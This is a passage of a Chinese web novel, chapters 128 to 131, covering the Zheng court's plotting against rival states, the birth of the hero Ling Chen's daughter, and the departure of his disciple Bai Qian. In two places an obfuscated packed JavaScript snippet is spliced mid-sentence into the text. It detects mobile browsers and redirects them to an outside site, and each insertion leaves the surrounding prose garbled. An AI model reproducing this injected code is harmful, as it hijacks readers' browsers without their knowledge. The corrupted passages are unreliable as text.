《陛下就是躺赢狗》 第128章 风云变幻 尽管大郑朝堂局势跌宕起伏、风云变幻,但正所谓“独乐乐不如众乐乐”,汴京城中的激烈内斗,一点也没影响大家坐在一起商量怎么给其他几位邻居使坏。 比如趁孟玄上大号时往厕所里面丢鞭炮,等李雄睡觉后打电话喊他起来重睡之类的。 由兵部尚书冯延牵头,专门组织力量对晋阳府进行军事和经济封锁,道路设卡、限制人员出入,商队停往,货物不许互通。 并严令李遗景不许放一人一马进入晋阳府,否则朝廷一定去找他比划比划拳脚,派几万名年轻汉子去贺兰山组织冬日赏雪的团建活动。 另外,礼部遣巡检使进入云中府,对申屠明光动之以情、晓之以理,委婉的告知了接下来真定府李继贤麾下的兵力会增加至八万。 该活动为孙芝会员专属福利,不针对任何第三方,希望他不要担心,也不要过度反应。 都是千年的狐狸,申屠明光应该能理解其中的意思。如果他依然保持自己遗世而独立的人设,那么云中和大郑就能一直保持良好关系,未来也许能成为一家人也说不定, 如果他听不明白,那李继贤也不是不能改西进为北上,试试云中骑兵的马刀是不是真像传说中那么锋利! 文训在北方的部署,从一开始就是按照李遗景、孙芝、申屠明光三人联合抵抗大郑为假想局面,并且以此为基础做好军事准备的。 关中牵制李遗景,李继贤阻挡申屠明光,中原主力收拾孙芝。 当然,南方的朋友们也不用担心,郑皇陛下从来不会厚此薄彼,绝对没有、也不会忘了大家。 大量探子、细作、使者以客商、难民、逃犯、流寇、叛徒的身份,坐船渡过长江,徒步翻越秦岭,涌入了烟雨江南和天府之国。 如果你觉得孟玄做人太霸道,让大家的生活难以为继,意见无处发表。没关系我的朋友,大郑愿意做你的最坚强的后盾和最知心的朋友,需要什么你就尽管开口,千万不要客气或者害羞。 咱们是要钱有钱、要刀有刀,只要你能让蜀主不痛快,除了老婆,大郑皇帝什么都能给你。 如果你觉得李雄老而不死是为贼,对唐国有限公司的未来发展方向已经失去了判断力和领导力,需要注入新鲜血液、换个更加年富力强、更加具备战略眼光的人来接替。 好说~ 唐国的太子李岐,已经当了十八年的太子了,整整十八年啊! 人的一生,能有几个十八年呢? 这十八年来,李岐小心翼翼、如履薄冰,兢兢业业的将储君的能力、形象、品德、声望等方方面面都做到了完美,朝臣无不点头赞誉、百姓无不拍手说好。 可他越是让大家满意,他老爹就越不满意。 皇帝和太子,是这个世界上最亲密的人,可与此同时,也是最陌生的人。 这可不是情情爱爱的男女关系,而是几千年来形成的畸形相处模式。双方明明都很在乎对方,可父亲看儿子哪哪都不满意、哪哪都需要改正提升;儿子觉得父亲思想陈旧、管的太宽,有机会一定要脱离他。 他们是宗主与附庸、上司与下级、支持者与被支持者、房东和租客。 只有到了病床上,才是父亲与儿子。 韩登和韩珏就是这样的关系,相比之下,文若与文训之间的融洽已经算是中式父子里的奇迹了,可能是因为文若真的很优秀吧~ 可即便如此,很早之前他也对凌晨吐露过心声:他不想做什么江淮军少主,只想做一个观察人世间的看客,超然物外。 这一点,文训恐怕未必知道。 扯远了,说回李家。 问:谁对皇帝的权力和地位威胁最大? 答:储君。 一个深受臣民爱戴的储君,一个品德高尚、能力出众、完全能够代替皇帝行使职权的储君,对君主来说,不亚于床边站着一只苦力怕。 唯一能够使其合理存在的原因,就是血脉相连的亲情。 但在皇家,这算个事吗? 这就导致了李岐干的好了不行,干的不好更不行,整个人都快要裂开了。 最可怕的是,李雄还不止他一个儿子。 吴王、楚王、越王、闽王以及其他一大堆郡王侯爷,这些好弟弟们,无一不是盯着大哥的背影磨刀霍霍。 独坐在案桌前,望着烛灯明灭,李岐烦了。 但他到底还是有**头脑和清醒认知的,当大郑使者绞尽脑汁、费尽心机的站在他面前,为他带来素未谋面的文世伯突如其来的关心和鼓励后,李岐勃然大怒,命心腹将使者轰出了府去。 被轰出府的使者,脸上看不到一点沮丧和懊恼的表情,反而开心的笑了。 你去向一个女生表白,她当场打落你的玫瑰花,骂你是癞**想吃天鹅肉,引来无数路人嘲笑你。 和她一言不发,皱着眉难为情的跑开,不想接受但又不忍心拒绝,担心会伤害到你,是截然不同的性质。 没有拒绝,就是答应。 没有杀掉使者,就是为了下次还能见面。 有戏! 当然了,其他各位王爷也有人接洽。让李岐谋反上位自然会对唐国局势造成巨大动荡。但其他王爷和他们背后的支持者也不是吃干饭的,把唐国的当朝太子弄下去,同样也是一场大地震。 当大郑已经用武力完成了中央集权、军政分离的相处模式时,唐国还停留在先周那种各地势力共尊一主的老旧模式:不服就打,打到叫爸爸就撤。 这就导致唐国的**体制实际上全是靠着李雄、温茂等寥寥数人的个人威望和徽州军的强大武力维持。 可是,在上次和大郑的庐州之战中,徽州军伤亡惨重,将近一半的百战精锐被王臣鹤煮了饺子。 加之荆南张照初的单干行为并没有得到有效制裁,所以其他实力强大的地方官,也就生出了轻慢之心。 清泉节度使,陈瑾。 凭借着闽越地区独特的地理形势,当年巅峰时期的徽州军也只能打的他俯首称臣,想要彻底解决他,根本不可能。 因为他手中有一支很特殊的军队——泉州水师。 大郑有蓬莱水师,唐国同样也有水师,那是他们的吃饭家伙。就连孟玄也在夷陵有一支两万人规模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661028|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水面作战部队,所以陈瑾的水师有什么好特殊的呢? 有。 泉州水师的战船,从来不在淡水河游荡,而是经验丰富的海战部队。 他们对于海上天气变化、航行方向的研究,船舶的防腐蚀保养技术、长途行驶的注意事项和前提准备,以及怎么把敌人丢到海里喂鱼,都有着深厚的理论知识和丰富的实操经验。 上次蓬莱水师南下,在唐国沿海地区不断骚扰和佯攻,当然也和泉州水师交过手,双方的战绩是1:1。 但是,是两千泉州水师和一万蓬莱水师1:1。 别说李雄打不进来,就算打的进来,陈瑾也能随时逃到海上,找机会卷土重来。总有不在的时候吧~ 经济封锁也不管用,岭南的刘思巴不得唐国分崩离析,他好誓师北伐。而且清泉节度使和南洋各地区都有贸易往来,基本封不住。 这货就像布欧,别说**腰斩了,你就是把他打成一堆烂肉,他照样也能恢复如初。除非攒个超大的元气弹,从分子层面将他轰成粉末。 唐国没有那个实力。 于是,在经过不怎么深思熟虑的一番思考后,陈瑾决定学习荆南张照初的先进经验和英勇事迹,宣布脱离大唐体制序列,向中原正统遣使称臣。 理由很简单,反正称臣只是口头上的,既不用他去汴京磕头,隔着这么大一个唐国,肯定也不可能进贡。 但是,李雄敢打自己,文训的兵马就有理由在长江边上拉练跑操。 如果文训主动发起进攻,自己也可以默默偷李雄的屁股,响应王师讨伐不臣,主打一个名正言顺。 到最后,如果唐国击退了郑军,肯定也是元气大伤,没力气夺回自己趁乱占领的地盘。 如果大郑平定了江南,自己也有更大的资本与底气和文家谈条件,谋福利。 无本万利,何乐而不为呢? 牂牁蛮和大理国、以及吐蕃诸部也收到了来自大郑的热情问候和家乡特产,黄的白的都有。 你收下,我们就交个朋友,以后常联系。 当然了,如果你愿意顺手给孟玄搞点事情,那说明我们特别投缘,你就是我异父异母的亲兄弟! 用经济、外交、**手段将整个南方搅成一池浑水后,大郑北方各部军马加紧了士兵操练、粮草运输和物资调遣。 正月底,大郑向全天下发布了檄文,数列了孙芝的道道罪行,什么草菅人命啦、叛国通贼啦、临阵逃脱啦、谋逆弑君啦、横征暴敛啦、有两个眼睛啦等等等等,简直骇人听闻、罪孽深重、罄竹难书! 因此,正义的大郑,要清除这种社会渣滓,还晋阳人民一个朗朗晴空! 几乎是在同一时间,西路军都部署种平、步军都尉柳耒、马军都尉李卿率领四万大军越过黄河,进入汾河平原;东路军都部署、淮南侯李继贤率八万大军再次进入太行山区,此行一定要洗刷上次的耻辱! 兵部尚书冯延、马军都指挥使薛定、巩义县男贾骐也率领中路军五万禁军和地方乡军进入壶关,从河东府的潞州挥师北上。 十七万人马,锋指晋阳。 第129章 腰果 作为对当今局势的演变有着巨大推动作用和深远影响力的临颍侯,几乎没有出席任何有关灭晋战争的研讨会。 因为镇国夫人临盆在即。 这个还未出生的小生命,牵动着无数人的神经,与凌晨交好的人自然是满心欢喜和期盼。更亲近些的诸如大舅哥、婉云嫂子则是十分担忧生产安全。 与凌晨交恶的人同样紧盯着凌府的迹象,天子宠臣的孩子出生,如果是男孩,很有可能会影响几十年后的朝堂格局。如果是女孩,未来会找哪家夫婿,同样也是不可忽视的走向。 昨天青柠已经很不舒服了,三个经验丰富的稳婆搬进了后院偏房,御医也被凌晨请进家中二院客房居住。眼下他没空去理会孙芝,满脑子只担心青柠的生产过程顺不顺利。 万一到时候御医和稳婆给他来一句“保大还是保小”,那不废了么…… 对任何事情都成竹在胸、尽在掌握的凌晨,第一次在心理上产生了紧张和忐忑。 整个侯府都已经做足了充分准备,后院主楼一层的偏房灯火通明,丫鬟婢子们全都穿着棉裘立在廊下。走廊中摆着七八个火盆,正在熊熊燃烧。 堂门和偏房里温度很暖和,另一边的偏房里已经准备好了许多接生工具,全部都是凌晨亲自检查改良过的。剪刀要用火灼烧过、布巾要酒精消毒过,连稳婆都要将自己的手反复清洗,直到凌晨满意。 万事俱备,只等青柠。 建隆二年二月初一的晚上,孩子在母亲的身体中汲取到了足够的能量,决定离开温暖的港湾,来到这个世界走上一遭。看看白云,闻闻花香,吹吹清风,品尝人世间的美好与苦难,感受大千世界的繁华和梦幻。 堂前塞了绒的红棉门帘不断被人揭起和放下,丫鬟们从厨房端来冒着热气的铜盆,个个行色匆匆小跑前进,里面偶尔还会传来青柠的叫声,分不清是疼痛还是释压。 凌晨在廊下的台阶上搓着手来回踱步,紧张到有些手抖;大舅哥坐在下人搬来的椅子上,面色焦急的时不时望向屋内;青樱和婉云立在大舅哥的身后,同样秀眉微蹙,焦躁不安。 时间一分一秒的过去了。 凌晨真后悔穿越前没有好好研究研究生产护理的知识内容,不然也不会像现在这样束手无策,只能干着急了。 “没事,你也不要过于焦虑,这三个稳婆都是汴京城中有名的熟手,她们三位接生过的孩子,加起来足足有一两百呢~ 而且柠儿底子好,身子一向康健,应当是没有问题的。再说还有林御医和时御医在这里等着,不会出差错的。” 婉云见凌晨来回走的都快走出残影了,嘴里还神神叨叨的念着什么,不由的出声言语宽慰他。 凌晨看着她机械的点了点头,又低下去继续来回踱步了。理确实是这么个理,可他哪有那么心大啊…… 后半夜的时候,原本就冰天雪地的庭院中又飘起了雪花,摆放在廊下的火盆烧的通红,依旧消解不了刺骨的寒风。 稳婆不准他们进到房间里等,说是会添乱、影响到她们。回到各自的屋子里暖着,把青柠丢在这里也不可能。凌晨只好先叫婉云和青樱回旁边的厢房里去暖着,他和大舅哥在这里看着。 一直到天蒙蒙亮的时候,院子里和屋瓦上已经落上一层厚厚的雪白。 “哇——” 随着一声嘹亮的婴孩啼哭从屋子里传出,大舅哥“腾”的一声就站了起来,猛的看向屋内,凌晨一把拨开他,掀起帘子就走了进去。 刚进到堂内,稳婆就抱着用白色襁褓包裹的孩子,满脸笑意的从偏房走了过来,笑容满面的恭维道: “老身恭喜侯爷!是个小姐!” 凌晨轻轻拨开襁褓一点,看着双眼还未睁开,浑身粉红色,头发湿漉漉的孩子,一时间有些恍惚。 这就……当爹了? “我家娘子怎么样了?”看完孩子后,凌晨伸长脖子朝着偏房里边看去,面色担忧的问道。 稳婆抱着孩子回头看了一眼,叹着气对凌晨低声笑道:“夫人刚刚生完孩子,用尽了力气,这会已经睡着了。侯爷还是不要进去打搅她,让她好好睡一会。” 凌晨听罢也觉得有道理,于是点了点头,满意的对稳婆说道:“你们三位做的很好,每人一百两。” “哎呦!老身谢谢…谢谢侯爷了!!” 稳婆听到有一百两的赏钱,激动的抱着孩子连连鞠躬,脸上的褶皱都快笑成一团了,口里念叨着又折返回了偏房去。 天亮后,整座侯府都沾染上这份喜气洋洋。夫人顺顺利利的生下了小姐,侯爷叫解管家给每个人当场发了三个月的月银,就连平时给侯府送菜、送柴和倒夜的都收到了红封。 当这则消息传出来后,所有人都松了一口气。 有人高兴的是母子平安。有人高兴的是还好是个女婴。 —— 接生时的被褥、工具和脸盆都已经被下人们替换走了,房间里暖和的让人额头冒细汗。凌晨坐在床边,握住青柠的手,看着躺在她身边睡的安详的小家伙,满怀欣慰。 青柠的头上戴着白色抹额,长发顺直的披落下来,身上就穿着一件白色的素衣,平添了几分英气,只是脸色和嘴唇都有着发白,看起来有些虚弱。 还有些愧疚。 “相公,是我没用……没能给你生下男丁……” “啧,哎~~说什么傻话呢?为夫还是更喜欢女孩一点。再说了,咱们又不是以后不能生了,想要男孩,下次再生一个就行了。” 抚摸着青柠柔软冰凉的手背,凌晨笑着宽慰妻子:“你与其胡思乱想这些,还不如好好将养身子。” 见凌晨确实没有埋怨和责怪自己的意思,青柠这才放下心来,望着旁边瘦瘦的小不点,抿嘴一笑。 “相公,给我们的女儿起个名字吧~” 将青柠的手背贴在自己的脸上后,凌晨望着眼前的小不点陷入了沉思,思考了一会后,他喃喃说道—— “我希望她以后能安安稳稳的度过这一生,不用去刻意讨好、或者曲意逢迎任何人,给她起个冷一点的名字吧,就叫凌霜。” “霜……” 青柠思索着看向身旁的女儿,脑海里回想起自己坎坷不平的前半生,也觉得感慨万千。 不用去讨好别人,开心做自己,挺好。 “那……还要起个小名,我们也好喊她。” “腰果。” 啊? 青柠疑惑的望向凌晨:“腰……腰果是什么缘由?” 凌晨笑着对她说道:“这是一种远在大郑万里之外的地方生长的干果,我希望她有生之年能够吃到。” 这不是心血来潮或者随便乱起的,这个名字包含了凌晨莫大的期许。他这一辈子想要看到大郑的海船到达南美,基本上是不可能了,船舶制造技术和远洋探索的发展没有那么快。 但女儿还是有希望的,希望她这辈子,能看到大郑军队横跨汪洋,带来万里之外的物产。到那个时候,大郑一定会是这颗星球上最强大的国家,没有之一。 要想完成这个梦想,最好的办法就是逼降清泉节度使陈瑾,让他和他的泉州水师为大郑效力。 男人,你成功引起了我的注意。 在福建好吃好喝的等着吧,把自己养的白白胖胖的。等到大郑灭了蜀、唐之后,老子亲自去找你。 临颍侯府新添了一名女婴,凌晨在府中摆下酒宴,邀请了相熟的同僚、朋友、乡亲们前来赴宴,共同分享这份难得的喜悦。 以太子与太子妃为首,秦王与秦王妃、护国夫人、易阳侯夫妇、祁阳、新城郡主、长安、汝南帝姬等权贵尽皆到场。 以京兆尹为首,步军都指挥使、京城左巡院、临颍知县、国子监翰林也都到场了。特别值得一提的是,冯延出征在外,派了他的儿子,新科进士、国子监翰林冯俊前来恭贺,这还是凌晨与他共事多年,第一次见到他的家人。 魏序不好前来为一个晚辈的孩子登门恭贺,便叫女儿魏娴代为前来。 还有以刘廷让、陈啸为首的乡亲、朋友们也都派了代表前来,只不过他们放下礼物就走了,只有这两位留了下来吃席。 也只有他俩有资格和这么多达官显贵坐在一起,一个是望云护庄队的实际指挥者,一个是陈家镖局的总镖师。 护庄队已经多次展现过自己的能力和价值,殿帅的五百亲兵,威名广为人知,这一点不必多言。 陈家镖局则完全是一个谜,人们对他们的印象还停留在由一帮江湖人士组成的松散联盟、凌晨的黑手套等刻板印象。 却忘记了,他们曾经和鬼方骑兵正面硬刚过,参与过生擒赵世中、平定了京城叛乱等等等等,如果还拿他们当一群只能打顺风仗、只会捡漏的乌合之众,只能说天真的无可救药。 男人们坐在前院把酒言欢,凌晨今天高兴,结结实实的喝了几十碗米酒。女人们坐在后院,围着青柠看新出生的小腰果,好奇满满,欢声笑语。 一场宴罢,宾主尽欢。 但,凌晨发现了一个问题—— 白千没来。 第130章 看不懂了 宴会结束,凌晨领着解二站在府门口,将朋友们一一送走,直到最后一位宾客离去后,他这才歪着脑袋向身旁的解二询问道: “小白去哪里了?你知道吗?今天这种场合,她不来有点奇怪啊……” 解二上前半步,将凑到凌晨身旁耳边悄悄说道:“自从上次二婶子大闹了一场后,她就再也没有出现过,我前些日子去找过她,一直在动物园中练习您给她的那本《第八套广播体操》。 这次小姐出生,我还专门去通知了她,我也觉着奇怪呢,这是为数不多的可以…可以见到青樱小姐的机会,她怎么会没来……” 凌晨不禁皱起了眉头,到底是自己的孽徒,再怎么逆天,也得关心关心她的心理健康,别再寻了短见什么的。那特么传出去,好说不好听啊! 眼见天色尚早,他便抬腿走下台阶,对解二说道:“去把我的马牵过来,我要去找找她。” 解二点头应了一声,吩咐门口站着的小厮去牵马后,有些犹豫的问道:“要不要我多派些人,先去打听打听她去哪里了?而且你一个人……” “不用,兴师动众的做什么?这里是京城,谁脑子抽了敢袭击我?实在不行,你跟着我去就好了。” “好。” 不多时,小厮便牵来了骏马,凌晨与解二翻身上马,一路晃晃悠悠的朝着动物园走去。 汴京城如今愈加的繁华和富庶了,二层楼阁比比皆是,路面都是用石砖铺就的硬路,再也不用担心下雨后踩上一脚泥泞。张承深受凌晨的影响,在城内广植桑榆桦柳,人与自然,相得益彰。 蜿蜒流淌的金水河岸,借鉴了江南不对称的自然风格,石苔藻荇参差错落。今年的冬天不是特别冷,水面没有结厚冰,水中深处隐约能看到一两尾鱼儿摇鳍游曳,水面远处彩船往来前行,冬日将尽。 今天还是个难得的冬日暖阳天,平整的白灰色石桥上行人穿梭,有的老翁坐在桥上,身边摆着两筐烧制好的木炭;有的才子凭栏远眺,眸子里藏着无限心事;一些孩童穿着破旧草袄,却依然笑声荡漾,互相追逐着跑过人间。 二人来到动物园后,被告知白千出城去了,现在应该在北城门外的黄河边。 谢特!! 凌晨听后心中微微一惊,这娘们不会是去跳河去了吧?? 一念及此,他不由得心中焦急,扬起手中的鞭子抽在马屁股上,马儿嘶鸣一声,在街道上奋蹄狂奔! 解二也立刻紧随其后。 二人快速飞驰的身影,自然引起了京中巡逻士兵的注意,由于凌晨平时太低调的缘故,再加上汴京城如今的人口都快接近百万了,不认识他,也在情理之中。 汴京城中不许纵马疾驰,除非你能掏出官府的加急文书,或者后背脖子里插着一根红色小旗。 尤其是后者,哪怕撞死了人也不用负责,朝廷会代为赔偿。因为这种一般是特急塘报,没有十万火急的大事是不会启用的。 拦下凌晨的这两个巡逻的士兵也是聪明人,在汴京城这种一砖头扔下去就有可能砸死一个权贵的地方,能骑马飞奔的,肯定不是一般人。 所以他们没有一枪扫倒马腿,而是客客气气的拦了下来。 但他们还是太嫩、太耿直了。 “二位官人,请将你们的文书予小人一观。另外,小人斗胆提醒二位,京城重地,不许纵马疾驰,需要向官府上交二两银子的罚钱。请你们先下马,在告知小人二位的姓名,小人需要记录下来。” 凌晨皱眉看向对自己说话的这个大头兵,心中有些急躁:“我记得……今天巡街的应该是王灿的手下之一吧?记得住那人的脸,想不起名字了。没事,你就跟他说我叫凌晨,他不会怪罪你们的。” 凌晨以为自己这样说了,这俩愣头青怎么也该放行了。谁知他俩丝毫没有要让开的意思,而是依旧好言好语的让他和解二下马。 这座城能够在战火中屹立不倒,能被定为天下京师,我是出了很大力的。况且我也没有横冲直撞,十分小心的避开了行人。 现在人命关天,跑的快点都要被拦? 烦了。 “小兄弟,我下的是马,你下的岗。你堵住的不是我的行程,而是你的前程。我停在了出城的路上,你停在了巡逻的位上,托你的福,你的队正和北城门的守将才能见到我。去喊他过来吧~” 负责今天京北区域巡逻和北城门卫戍的两名官将在看到凌晨的那一刻,直接两眼一黑!得亏有坚强的求生欲望支撑着,才没晕过去。 负责管理巡逻士兵的小校是王灿的部下,王灿是侯明的部下。负责北城门卫戍的校尉是一个叫……叫罗乾的部下,罗乾是大舅哥手下校尉岳德伦的部下。 理论上来说,挂着殿帅虚职的凌晨目前还是他们上司的上司的上司的上司。 “末将参见侯爷!!” 二人一见面就“噗通”一声跪了下来,引得周围百姓纷纷侧目,两个巡逻士兵见到自己的长官没有一丝犹豫的跪了下来,纵使心中惊疑,也不得不赶快跟着跪下。 好像……闯祸了…… 凌晨没空跟这几个小虾米装逼显威风,只是口头鼓励的几句,对两个巡逻士兵不畏权贵、秉公执法的态度表示了肯定和欣赏,但今天自己真的有急事,能不能通融一下? 啊? 两名官将人都傻了,连忙站起来跑过去为凌晨和解二牵马,小心翼翼恭恭敬敬的扶着他们上马,立在原地满脸笑意的挥手,目送着他们飞驰而去,出了北城门。 直到再也看不见凌晨的背影了,两名官将这才抹了一把额头上的冷汗,目光微眯起来看向身边的两个活爹。 “侯爷既然说你们不畏权贵、秉公执法,那你们就继续巡你们的逻吧。但是记住、记住了!要是再让别人喊本将军过来,你们两个就给老子滚到城墙下搬石料去!” 两个面色苍白的巡逻士兵机械的点了点头,满脸茫然。 出了城后,凌晨和解二沿着黄河边一路寻找,根据白千手底下人的描述,把她可能待的地方都搜了一遍。 终于在河岸边的一处高土垄看到了她。 但,凌晨有点看不懂她了。 此时已经是傍晚时分,天空中残云翻卷,远处的黄河一片灰白,更远处的对岸朦胧模糊,隐约能看到几道炊烟。 天白,地黑。 白千的身影在天地间显得格外渺小,却又有种十分高大的错觉,她正在练习着凌晨做了好多年的第八套广播体操,可是…… 又有些不对,她的一举一动都带着一股出尘的气势,每一套都和自己原本教她的不太一样,招式的角度、速度的快慢都发生了巨大的变化。 由于凌晨当初只给了她招式图解,并没有实际教学,所以这一切动作都是她自己看着图纸悟出来的,动作连贯、行云流水,带着一股道家气韵。 恍惚间,凌晨仿佛从她身后看到了悬浮围绕着的两仪八卦,耳畔似乎还传来一道歌声—— “你与我先谈养心殿~后拜瀑阑珊~今命中万事业~一字空赴生赴死亦从容~” 别搞啊姐…… 你就算不是我的缘,也不能是我的劫啊! 白千依旧立在高垄上,明显是进入了望我的境界,每一招打出,都让人觉得玄之又玄、深不可测,晚风吹起她的衣衫,更是衬托的形意自然。 一套练罢,双手握心于腹前,轻吐浊气,整个人都看起来和平时不一样了。 小西天封不了真大圣,假把式练出个真武境。凌晨现在十分担心爱徒能不能看见隐身后的自己,更担心自己有可能还打不过她…… 毕竟自己一直以来靠的都是以前每顿饱食练就的身体基础,和在五十度的密闭空间、三十米的高空抬五百斤雾化器熬出来的气力和耐力。 他是外练筋骨皮,但白千好像是内练一口气啊…… 正目瞪口呆、胡思乱想间,收了式的白千已经看到了他们两个,一个纵身从高垄上跳了下来,平稳的落在了地面上。 “师父、二哥,你们怎么来了?” 解二见凌晨盯着白千一言不发,一直沉默着大家也尴尬,于是便开口说道:“侯爷今天没有看到你来,担心你,就带着我过来找你了。” 白千看着解二听他说完后,眼睛还盯着解二,脸已经转向凌晨,随后将目光移到凌晨身上。抿了抿嘴唇后,低头看着地面说道: “我答应了师娘不和樱儿遇面,师娘生了孩子,徒儿自然为她和师父开心,但已经答应的事,不能破。” 凌晨翻身下马,将缰绳丢给解二,走到白千身前紧盯着她的脸,一言不发。 白千毕竟是女子,尽管凌晨是自己的师父,但如此贴近又目光灼灼的打量着自己,还是让她有些不习惯,默默后退了半步。 “你练了多久了?” “啊……哦,今天闭园后我才出城的,也才半个时辰多一点。” “不,我是问你练《第八套广播体操》练习了多久了?” 听到这话,白千抬起头看向凌晨的双眼,深吸了一口气,平静的回答道: “从师父将秘籍交给徒儿的那天起,徒儿就从未停止过钻研和练习,每天无论刮风下雨、事务繁简,都要练习一遍。至今……已经有五年多了。” 挥刀的动作很简单,是个人就能做到。 但每天都挥五百下,就不简单了,也不是谁都能坚持住。 她特么挥了快两千天…… 你去皮皮搞笑打听打听,两千天的都是些什么怪物…… 第131章 素衣清浅 解二牵着马立在草地中,无聊的踢着地上的石子,两匹马都在低头嗅草,却因为带着笼头的缘故,想吃吃不到。只能从穿进笼头里的漏网之鱼中浅尝到一两根。 凌晨和白千立在河岸边的石头上,师徒二人都有些沉默。 凌晨还有点莫名的……戚戚然的感觉。 远处天空中的太阳已经落下去三分之一了,原本白灰色的天空,突然像是进行最后的挣扎一般,透出一抹绚丽的橘黄色。 “师父,我是不是给你造成了很多困扰?” 白千没来由的一句,把凌晨给整沉默了,她确实给自己添了不少不必要的麻烦,甚至一件比一件逆天。但到底是一起生活了很久的小跟班,师徒感情还在心中。 记得很小的时候,爷爷从隔壁村子抓来一只黄色小土狗,双腿抖的都站不住,那时候的凌晨也才刚刚记事。 一人一狗就这么慢慢长大,每次放了寒暑假,从城里回到老家的小山村时,大黄都能认出凌晨。每次都会伸着舌头、摇着尾巴激动的就要扑过来,凌晨也会很高兴的跑过去摸它的脑袋**。 大黄陪着凌晨走过了十六年的人生风雨路,从天真孩童,到多愁少年。 在大学的时候,大黄悄无声息的离开了。 但它时竖时贴的耳朵、吐垂散热的舌头、摇晃摆动的尾巴,一直很清晰的印刻在凌晨的脑海中。 虽然在网上看到爱狗人士的逆天高速拦截,凌晨也会敲出“狗肉真香”之类的话语故意抬杠。但如果有人在敢偷我家大黄,那就别怪我正当防卫了。 我说的可不是游戏。 犬犹如此,更何况人? “没关系,你也知道,师父可是很厉害的。只要…只要你不是惹到陛下,师父都能给你圆回来。” 顿了顿后,凌晨又继续补充道:“嗯……其实就算你真的惹了雷霆之怒,也不一定是必死之局。大不了我们都回临颍县去,或者去其他国家生活。” 白千听的表情一愣,用清澈的眉眼看向望着远方夕阳西下的凌晨,心中涌起一股难以名状的情绪,一向冷面寒心的她,竟然有种想哭的感动。 “我是个孤儿,以前,总被同村的孩子欺负,被外村的人欺负,他们都拿我当消遣,原本属于我的东西也都被别人强占。 这倒没什么,只是后来舅舅出征再也没有回来,舅妈又嫁了旁人,我就被他们赶出来了,自那以后无依无靠,举目无亲。 能活下来,全凭自己小偷小摸和心硬手狠。我知道,师父这样的人,对**这种行为是很不齿的,但那是我在乱世中唯一的生存方式。 我也不知道自己从什么时候起,变得和这个世界格格不入了,或许是它不愿意接纳我,而我却不得不强行融入进去吧……” 晚风吹起白千鬓边的长发,她伸手将贴在嘴唇的头发捋向耳后,望向远方,似乎有些哽咽。 凌晨察觉到了她的情绪变化,于是便暖心安慰着说道: “吕齐曾经对我说过,羊有羊的活法,狼有狼的活法。当一个人为了食物去犯罪时,错的不是你,而是当时的大周。 偷东西怎么了?我以前也去别人家偷过信,偷过孙芝的金批令箭,多了去了。咱们师徒俩也算一脉相承,你不用对这些事感到有压力。” 白千吸了吸鼻子,潇洒的用手指抹了一把眼睛下方,笑着说道: “不一样的,师父每次出手,都是为家为国,为了天下百姓,而我只是为了自己。我……我也知道不该和樱儿产生世所不容的情愫,但……唉……” 嗯……怎么说呢,这种事在后世,反而看的更开点,法律对性表达的容忍程度也相对宽松。至于古代么,这种逆天的事情和传闻还少吗? 魏安釐王与龙阳君的“龙阳之癖”、汉哀帝与董贤的“断袖之癖”,这还是有迹可循的。至于那些不知真假的,比如李承乾的称心,朱厚照的钱宁,更是谣言满天飞。 但他不能为了安慰白千而松口,那是对只有一个宝贝女儿的二婶的背刺,对一手看着长大的青樱的暴击,对所有人都不好,这其中当然也包括白千。 “傻丫头,知道师父怎么理解两个人之间的感情么?” 白千歪着头看向凌晨,轻轻点了点头,等着他开口解惑。 “真正爱上一个人的时候,你会发自内心的希望她能过的好,无论是物质上还是精神上。你希望看到樱儿被街坊四邻指指点点、被二婶整日哭着以泪洗面的指责吗?还是,你只想着自己的占有欲得到满足,而不去管她的处境呢?” 白千低下头思索起来,凌晨抬头看向已经落了一半的夕阳,也在反思自己的话。 这话其实也不对,不想得到她,那**嘛对她那么好?那不纯傻鸟么?舔狗都想舔两口呢! 这是个没有标准答案的课题,仁者见仁,智者见智。但这句话用在白千和青樱身上,却是再合适不过。 夕阳余晖撒在白千的身上,天色已经昏暗下来,为她飘逸的发丝镶嵌一层金边,整个天地间,只有地平线那里还有光亮。 “师父说的对,近来我心中烦闷,一直不得其解,直到今日听完您的一席话,方才顿悟其中的道理。” 白千深吸了一口气,如释重负的坦然一笑,摆正身子,将双手交叉平齐,跪在了凌晨的面前,恭恭敬敬的磕了三个头。 “跟师父在一起的这几年,是徒儿一生中为数不多的安闲时光和宁静岁月,徒儿一直蒙受大恩,却从来未曾向师父言谢,是想着用行动来证明心意的。如今看来,却是不能报答了……” **,不是姐们你这话什么意思?你真要跳河啊? 凌晨急忙就要开口,白千却先一步站了起来,一脸轻松的说道:“徒儿决定去游历四方,去看看这大千世界,或许能找到答案也说不定。 既能解除这整日思苦,也能免去师父的麻烦。只是又要劳烦师父,替我向师娘和樱儿说声再见了。” 啊?? 说心里话,凌晨不希望白千离开。但目前这种情况,她离开似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664300|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是最好的选择,对大家都好。 所以,凌晨陷入了一种既想送她离开,又舍不得这个孽徒的纠结中。 容不得他犹豫,白千做事一向果决。对凌晨说完这句话后,她就对着师父浅浅一笑,转身走到了解二的跟前,抓住他的胳膊拍了拍,拍的解二一脸懵逼。 翻身上马,干净利落。 凌晨急忙追到跟前:“不是,你先等会,你什么时候走?打算去哪啊?” 白千冲着凌晨歪头一笑,还挺有女儿家的娇俏感,扯着缰绳勒转马头后,扬起鞭子就抽在了马屁股上! “就现在!” 